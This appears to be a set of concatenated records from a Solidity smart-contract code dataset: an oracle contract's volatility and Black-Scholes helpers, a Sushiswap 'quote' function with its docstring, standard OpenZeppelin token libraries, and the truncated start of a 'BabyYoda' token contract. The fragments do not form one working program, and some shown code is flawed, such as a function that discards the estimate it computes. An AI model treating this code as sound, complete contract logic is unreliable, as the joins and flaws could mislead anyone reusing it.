observations[pair][i].price0Cumulative, observations[pair][nextIndex].price0Cumulative, observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn); } } else { for (; i < length; i++) { nextIndex = i+1; priceAverageCumulative += computeAmountOut( observations[pair][i].price1Cumulative, observations[pair][nextIndex].price1Cumulative, observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn); } } return priceAverageCumulative.div(granularity); } function prices(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint[] memory) { return sample(tokenIn, amountIn, tokenOut, points, 1); } function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) public view returns (uint[] memory) { address pair = SushiswapV2Library.pairFor(factory, tokenIn, tokenOut); (address token0,) = SushiswapV2Library.sortTokens(tokenIn, tokenOut); uint[] memory _prices = new uint[](points); uint length = observations[pair].length-1; uint i = length.sub(points * window); uint nextIndex = 0; uint index = 0; if (token0 == tokenIn) { for (; i < length; i+=window) { nextIndex = i + window; _prices[index] = computeAmountOut( observations[pair][i].price0Cumulative, observations[pair][nextIndex].price0Cumulative, observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn); index = index + 1; } } else { for (; i < length; i+=window) { nextIndex = i + window; _prices[index] = computeAmountOut( observations[pair][i].price1Cumulative, observations[pair][nextIndex].price1Cumulative, observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn); index = index + 1; } } return _prices; } function hourly(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint[] memory) { return sample(tokenIn, amountIn, tokenOut, points, 2); } function daily(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint[] memory) { return sample(tokenIn, amountIn, tokenOut, points, 48); } function weekly(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint[] memory) { return sample(tokenIn, amountIn, tokenOut, points, 336); } function realizedVolatility(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint) { return stddev(sample(tokenIn, amountIn, tokenOut, points, window)); } function realizedVolatilityHourly(address tokenIn, uint amountIn, address tokenOut) external view returns (uint) { return stddev(sample(tokenIn, amountIn, tokenOut, 1, 2)); } function realizedVolatilityDaily(address tokenIn, uint amountIn, address tokenOut) external view returns (uint) { return stddev(sample(tokenIn, amountIn, tokenOut, 1, 48)); } function realizedVolatilityWeekly(address tokenIn, uint amountIn, address tokenOut) external view returns (uint) { return stddev(sample(tokenIn, amountIn, tokenOut, 1, 336)); } /** * @dev sqrt calculates the square root of a given number x * @dev for precision into decimals the number must first * @dev be multiplied by the precision factor desired * @param x uint256 number for the calculation of square root */ function sqrt(uint256 x) public pure returns (uint256) { uint256 c = (x + 1) / 2; uint256 b = x; while (c < b) { b = c; c = (x / c + c) / 2; } return b; } /** * @dev stddev calculates the standard deviation for an array of integers * @dev precision is the same as sqrt above meaning for higher precision * @dev the decimal place must be moved prior to passing the params * @param numbers uint[] array of numbers to be used in calculation */ function stddev(uint[] memory numbers) public pure returns (uint256 sd) { uint sum = 0; for(uint i = 0; i < numbers.length; i++) { sum += numbers[i]; } uint256 mean = sum / numbers.length; // Integral value; float not supported in Solidity sum = 0; uint i; for(i = 0; i < numbers.length; i++) { sum += (numbers[i] - mean) ** 2; } sd = sqrt(sum / (numbers.length - 1)); //Integral value; float not supported in Solidity return sd; } /** * @dev blackScholesEstimate calculates a rough price estimate for an ATM option * @dev input parameters should be transformed prior to being passed to the function * @dev so as to remove decimal places otherwise results will be far less accurate * @param _vol uint256 volatility of the underlying converted to remove decimals * @param _underlying uint256 price of the underlying asset * @param _time uint256 days to expiration in years multiplied to remove decimals */ function blackScholesEstimate( uint256 _vol, uint256 _underlying, uint256 _time ) public pure returns (uint256 estimate) { estimate = 40 * _vol * _underlying * sqrt(_time); return estimate; } /** * @dev fromReturnsBSestimate first calculates the stddev of an array of price returns * @dev then uses that as the volatility param for the blackScholesEstimate * @param _numbers uint256[] array of price returns for volatility calculation * @param _underlying uint256 price of the underlying asset * @param _time uint256 days to expiration in years multiplied to remove decimals */ function retBasedBlackScholesEstimate( uint256[] memory _numbers, uint256 _underlying, uint256 _time ) public pure { uint _vol = stddev(_numbers); blackScholesEstimate(_vol, _underlying, _time); } receive() external payable {} function _swap(uint _amount) internal returns (uint) { KP3R.approve(address(UNI), _amount); address[] memory path = new address[](2); path[0] = address(KP3R); path[1] = address(WETH); uint[] memory amounts = UNI.swapExactTokensForTokens(_amount, uint256(0), path, address(this), now.add(1800)); WETH.withdraw(amounts[1]); return amounts[1]; } }
given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'SushiswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; }
1,393,745
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity 0.6.12; contract BabyYoda is ERC20("BabyYoda", "yoda"), Ownable { uint256 private _cap = 500000000e18; uint256 private _totalLock; uint256 public lockFromBlock; uint256 public lockToBlock; mapping(address => uint256) private _locks; mapping(address => uint256) private _lastUnlockBlock; event Lock(address indexed to, uint256 value); constructor(uint256 _lockFromBlock, uint256 _lockToBlock) public { lockFromBlock = _lockFromBlock; lockToBlock = _lockToBlock; } /** * @dev 